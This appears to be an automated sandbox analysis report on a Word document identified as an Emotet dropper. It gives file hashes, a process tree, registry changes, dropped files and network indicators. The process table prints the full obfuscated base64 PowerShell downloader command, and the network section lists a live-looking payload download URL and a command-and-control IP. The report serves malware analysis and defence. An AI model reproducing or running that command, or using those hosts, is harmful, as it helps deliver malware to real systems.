| download: | 5aj8-kuztfk-eeiyg |
| Full analysis: | https://app.any.run/tasks/fa809314-10d2-4d26-9668-aa5781ac8962 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | March 14, 2019, 16:44:36 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Mar 14 14:23:00 2019, Last Saved Time/Date: Thu Mar 14 14:23:00 2019, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0 |
| MD5: | FE80FB6E08E61C66FF5DDB177C74D72D |
| SHA1: | 8478238739590D98D92A78ECA8F95BBCCF6DC756 |
| SHA256: | B4230F9BF711E4E1E28421129AB0B7933DCC2B9C99D6026E2B74A16D782E6078 |
| SSDEEP: | 6144:o77HUUUUUUUUUUUUUUUUUUUT52Vz/8mReBU7sFD0ZKL+eft20L:o77HUUUUUUUUUUUUUUUUUUUTCDReBU7+ |
MALICIOUS
Downloads executable files from the Internet
- powershell.exe (PID: 2564)
Application was dropped or rewritten from another process
- 272.exe (PID: 2936)
- 272.exe (PID: 3900)
- wabmetagen.exe (PID: 2300)
- wabmetagen.exe (PID: 3076)
Emotet process was detected
- wabmetagen.exe (PID: 2300)
Changes the autorun value in the registry
- wabmetagen.exe (PID: 3076)
EMOTET was detected
- wabmetagen.exe (PID: 3076)
Connects to CnC server
- wabmetagen.exe (PID: 3076)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2564)
Executable content was dropped or overwritten
- powershell.exe (PID: 2564)
- 272.exe (PID: 2936)
Application launched itself
- 272.exe (PID: 3900)
- wabmetagen.exe (PID: 2300)
Starts itself from another location
- 272.exe (PID: 2936)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2808)
Creates files in the user directory
- WINWORD.EXE (PID: 2808)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:03:14 14:23:00 |
| ModifyDate: | 2019:03:14 14:23:00 |
| Pages: | 1 |
| Words: | 2 |
| Characters: | 13 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 14 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
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| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
37
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 2300 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | 272.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Sticky Notes Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2564 | powershell -e KAAgAE4AZQB3AC0ATwBiAEoAZQBjAHQAIABJAG8ALgBjAG8AbQBwAHIARQBTAFMASQBvAE4ALgBEAEUARgBMAEEAVABlAHMAdABSAGUAQQBNACgAIABbAEkATwAuAG0ARQBtAG8AUgB5AHMAVAByAGUAQQBNAF0AIABbAHMAWQBzAHQAZQBNAC4AYwBvAG4AVgBFAFIAVABdADoAOgBGAHIAbwBtAEIAQQBzAGUANgA0AFMAdABSAEkAbgBHACgAIAAoACcAWABaAEoAJwArACcAUgBhADkAcwB3ACcAKwAnAEYASQBYACcAKwAnAC8AJwArACcAaQBoADQATQBTAHMAaABpAE4AOAAnACsAJwBWAGoAVQAnACsAJwBHAFAAJwArACcAbwBqAGIAJwArACcAVQBaACcAKwAnAHQANgB6ACcAKwAnAEQAcgBHACcAKwAnAGEAYgBHAFEAJwArACcAUgAnACsAJwBiACcAKwAnAHYAYgBGACcAKwAnAFYAJwArACcAMgA1ACcAKwAnAEsAUgBsAGQAaAB0ACcAKwAnAHkASAArAGYAMQBpACcAKwAnAFcAaABUAEkAKwBYAGoAMwBQAE8AUABWAGYAJwArACcATwBMAHoAOQBqAEUANABTAFUAcAB5AHcASABSACcAKwAnAGcATwBIAEEAWQBNADEAaABCAEwASABwAFMAJwArACcAcQBmAGsAUgB2AHkAZwBNACcAKwAnAGIAJwArACcAOQBnACcAKwAnAFcAWAAnACsAJwBVAEMAcABRAG0AYwBEADQAcgBBAEcAQgBwACcAKwAnAFMARwB0AGoAJwArACcAKwBoACcAKwAnAHYAUABNAHoAJwArACcAcwB0AGgAYQB5AEcAJwArACcASABwAEgAWABMAGwAJwArACcAZQBkAHAAegB2AGYAMQB4ADkAJwArACcAZgB2ACcAKwAnAGQAMQBRAGUAYgBjAG4ANgAnACsAJwByACcAKwAnAFgAUQBSACcAKwAnAFMAawBLAEsAYgBCAEMAcABTACcAKwAnAHQAMAAnACsAJwBlAFYAbQA0AGYAZQB1AEoAcgBxAGgAJwArACcAdwA4AE8ANABlAEwAJwArACcAdQBSACcAKwAnAGcAOQAnACsAJwBLADYAJwArACcAcQAnACsAJwBXAGkAJwArACcAdgBKAE4AUgBaACcAKwAnAEcANwBQAEYATgBkAE8AeQAnACsAJwBYAFgARQAnACsAJwBsAGoASQAnACsAJwAzAGgAZgAnACsAJwByACsANwAvACcAKwAnADAAJwArACcAWQBQACcAKwAnAEYAOQAyAGkAZAAnACsAJwB0ACcAKwAnAFMAJwArACcAaAAnACsAJwBjACcAKwAnADgAZgBTAGUAZQBmAHgAMgBFAGQAUgAnACsAJwBxACcAKwAnAEcAJwArACcAQQBxAGgAOABlAFYATgA1ADIAJwArACcAUgAnACsAJwBZAGIAegAnACsAJwAzAHEAJwArACcAZgB1ADkAYgBZACcAKwAnAFcAYgAnACsAJwAwAGwAcwA0ACcAKwAnAEQAQgAyAEQAVAByAEoAbwA4AHAAQgAnACsAJwBIADcAdQAxADkAdQBxACsAZwAyAGsAJwArACcASABNACcAKwAnAEEARQAnACsAJwBoAEoAJwArACcANgAvAGUAbgBhAEQAcAAnACsAJwBJADAANQBSAEMAJwArACcASAB0AEoAdwBnACcAKwAnAFoAdAAnACsAJwBEAFkAeQBSADEATQBMAEYAcgBEAEsAbgAnACsAJwBSAFEANwBtADkAMgBBACsAcAAnACsAJwBlAHEANgAxAG8AYwAnACsAJwBVAEYALwAwADgAVgAnACsAJwBaAFkAVQAnACsAJwBGAGQAJwArACcAbgBKAEEARwBXADIAVQAzACcAKwAnADQAdgBYAE0AUwBWACcAKwAnAGYAYwBsAGsAeQBFAEoATwBjACcAKwAnADYANQB3AGUAJwArACcAagBYACcAKwAnAHcAJwArACcANgBuACcAKwAnADkAbAAyACcAKwAnAG0AJwArACcAUgAnACsAJwB0AG0AcQA0AHUAbQBMAFYAVAAnACsAJwByACcAKwAnAFQASAA4AGoARgB6ACcAKwAnAGMAJwArACcAWgBOAGYAcQA2ACcAKwAnAGgAaQBUAE0AZQAwAHYAcwB4ADgAOABjAEkAVQBoACcAKwAnAG8AawBXAHoAJwArACcASwBiAHgAJwArACcAVwBpAFcAaQBjACcAKwAnAEgAdQBIAGUAMgAyAEsAQwB0AFQAawAyAFcARgAnACsAJwB4AEwAKwB5AGIAMAA0AE8AaQBkAHkAcgBCAHYAJwArACcAOAAnACsAJwBqADcAZgBYAGoAVABaAFoARwAnACsAJwBJAFgAMwAnACsAJwBrAFUAMgBaADcAcwBCACsAaQAnACsAJwB0ACcAKwAnAEoARwBiADQASABqAGsAaAAnACsAJwBlACcAKwAnAEgAMQA0AFgAJwArACcAaAAwACcAKwAnAEkAcwBZAG0AJwArACcAUAAnACsAJwA4ACcAKwAnADUAJwArACcAWQBTAEoAOABCAHMAagB5AHoAeABuACcAKwAnADgAJwArACcAQQAnACkAIAApACAALAAgAFsAUwB5AFMAdABFAG0ALgBJAG8ALgBjAG8AbQBQAHIAZQBzAHMAaQBPAE4ALgBDAG8ATQBQAFIAZQBTAHMAaQBvAE4ATQBvAEQARQBdADoAOgBEAEUAQwBPAG0AUAByAEUAcwBTACkAfAAgACUAewAgAE4AZQB3AC0ATwBiAEoAZQBjAHQAIAAgAGkATwAuAHMAdABSAGUAQQBtAFIARQBBAEQARQBSACgAJABfACAALAAgAFsAVABlAFgAdAAuAEUAbgBDAG8ARABpAG4AZwBdADoAOgBBAFMAYwBJAEkAIAApAH0AfAAgACUAIAB7ACAAJABfAC4AUgBFAGEARABUAE8AZQBuAEQAKAAgACkAfQAgACkAfAAgAGkATgBWAE8AawBFAC0ARQBYAHAAUgBFAFMAUwBpAG8AbgA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2808 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\5aj8-kuztfk-eeiyg.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
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| 2936 | "C:\Users\admin\272.exe" | C:\Users\admin\272.exe | 272.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Sticky Notes Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3076 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | wabmetagen.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Sticky Notes Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3900 | "C:\Users\admin\272.exe" | C:\Users\admin\272.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Sticky Notes Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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Total events
1 665
Read events
1 251
Write events
409
Delete events
5
Modification events
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | e5$ |
Value: 65352400F80A0000010000000000000000000000 | |||
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1315831838 | |||
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1315831952 | |||
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1315831953 | |||
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: F80A00006C7E0F4885DAD40100000000 | |||
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | {7$ |
Value: 7B372400F80A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | {7$ |
Value: 7B372400F80A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2808) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2808 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR99C5.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2564 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IM5APLQMIH9EPADKVNCH.temp | — | |
MD5:— | SHA256:— | |||
| 2564 | powershell.exe | C:\Users\admin\272.exe | executable | |
MD5:— | SHA256:— | |||
| 2564 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2936 | 272.exe | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | executable | |
MD5:— | SHA256:— | |||
| 2808 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$j8-kuztfk-eeiyg.doc | pgc | |
MD5:— | SHA256:— | |||
| 2808 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2564 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19a771.TMP | binary | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
6
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2564 | powershell.exe | GET | 200 | 178.128.41.189:80 | http://turningspeech.com/rm44r5z/usg/ | GR | executable | 355 Kb | suspicious |
3076 | wabmetagen.exe | GET | 200 | 187.233.152.78:443 | http://187.233.152.78:443/ | MX | binary | 132 b | malicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3076 | wabmetagen.exe | 187.233.152.78:443 | — | Uninet S.A. de C.V. | MX | malicious |
2564 | powershell.exe | 178.128.41.189:80 | turningspeech.com | Forthnet | GR | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
turningspeech.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2564 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2564 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2564 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2564 | powershell.exe | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) |
3076 | wabmetagen.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
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